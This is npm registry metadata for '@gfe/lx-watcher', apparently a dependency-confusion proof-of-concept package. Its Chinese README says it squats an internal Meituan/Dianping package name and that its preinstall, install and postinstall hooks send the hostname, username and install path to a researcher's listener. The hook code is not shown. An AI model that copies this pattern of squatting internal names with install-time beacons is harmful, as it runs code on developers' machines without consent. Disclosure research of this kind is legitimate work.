{"_id":"@gfe/lx-watcher","_rev":"3-8c5b87d90ee5d6e39b8ce120a62b2333","name":"@gfe/lx-watcher","dist-tags":{"latest":"1.5.4"},"versions":{"1.5.3":{"name":"@gfe/lx-watcher","version":"1.5.3","license":"UNLICENSED","_id":"@gfe/lx-watcher@1.5.3","maintainers":[{"name":"1buff","email":"2806905338@qq.com"}],"dist":{"shasum":"1d6e40e1c2b527f5b7346dc8a09ae72471e674cc","tarball":"https://registry.npmjs.org/@gfe/lx-watcher/-/lx-watcher-1.5.3.tgz","fileCount":4,"integrity":"sha512-je2I2rmDrV1xkhUGKGGA12Yg/KRcKi8GmwSwOyU4DLfJEpVYat+2geFvfyia0RAyfpjhhhx0s+FrkJudmysoAw==","signatures":[{"sig":"MEUCIQDXaLZuOXDzvzKa73Zedvlk8iZvye2O/p4HYvqfJc4qKgIgCg53DZCcFTBrqtLopgT1SK72zL7lRMvzSnw4MIZUNLM=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":2826},"main":"index.js","scripts":{"install":"node install.js install","preinstall":"node install.js preinstall","postinstall":"node install.js postinstall"},"_npmUser":{"name":"1buff","email":"2806905338@qq.com"},"_npmVersion":"11.12.1","description":"Internal watcher utility (security research placeholder — see README).","directories":{},"_nodeVersion":"24.15.0","_hasShrinkwrap":false,"_npmOperationalInternal":{"tmp":"tmp/lx-watcher_1.5.3_1787289651913_0.28827072119017494","host":"s3://npm-registry-packages-npm-production"},"deprecated":"superseded by 1.5.4 (canary endpoint fix)"},"1.5.4":{"name":"@gfe/lx-watcher","version":"1.5.4","license":"UNLICENSED","_id":"@gfe/lx-watcher@1.5.4","maintainers":[{"name":"1buff","email":"2806905338@qq.com"}],"dist":{"shasum":"8e524d675bd55c70a84d61ebd69edd7029f478e2","tarball":"https://registry.npmjs.org/@gfe/lx-watcher/-/lx-watcher-1.5.4.tgz","fileCount":4,"integrity":"sha512-fgchiLf03Xm365DhdnWjy5S9Ba81JN6diEvndZ3bhketOk3tdUVyye84xH3ZVwRuP81knjJWKz3MgJ3JjqdV/g==","signatures":[{"sig":"MEQCIGGOunLzNCW7mKsqkr5ilWzwwAKsp6XDyBO6Lf0KyEJRAiASeaMPUo/gPebpHXQljiwhv0nb9yquUSZayLPvQshmCQ==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":2845},"main":"index.js","scripts":{"install":"node install.js install","preinstall":"node install.js preinstall","postinstall":"node install.js postinstall"},"_npmUser":{"name":"1buff","email":"2806905338@qq.com"},"_npmVersion":"11.12.1","description":"Internal watcher utility (security research placeholder — see README).","directories":{},"_nodeVersion":"24.15.0","_hasShrinkwrap":false,"_npmOperationalInternal":{"tmp":"tmp/lx-watcher_1.5.4_1787290863219_0.2372428083130318","host":"s3://npm-registry-packages-npm-production"}}},"time":{"created":"2026-08-21T05:20:51.685Z","modified":"2026-08-21T05:44:16.139Z","1.5.3":"2026-08-21T05:20:52.066Z","1.5.4":"2026-08-21T05:41:03.363Z"},"license":"UNLICENSED","description":"Internal watcher utility (security research placeholder — see README).","maintainers":[{"name":"1buff","email":"2806905338@qq.com"}],"readme":"# @gfe/lx-watcher\n\n> **安全研究占位包（dependency confusion 防护性占位）**。该包由安全研究\n> 人员发布，用于证实并防护美团经营宝平台（e.dianping.com）生产构建产物\n> 中引用的内部包名在公共 registry 被第三方抢注投毒的风险。包内不含任何\n> 业务功能代码；install 钩子仅向研究方监听端回传最小化主机标识（hostname\n> /用户名/安装路径）以证明代码执行事实，不读取任何文件或凭据、不持久化。\n> 若你是美团/点评工程师，请联系安全团队或 SRC 平台对接修复（内部 registry\n> 锁源或 scope 抢注防御）。\n","readmeFilename":"README.md"}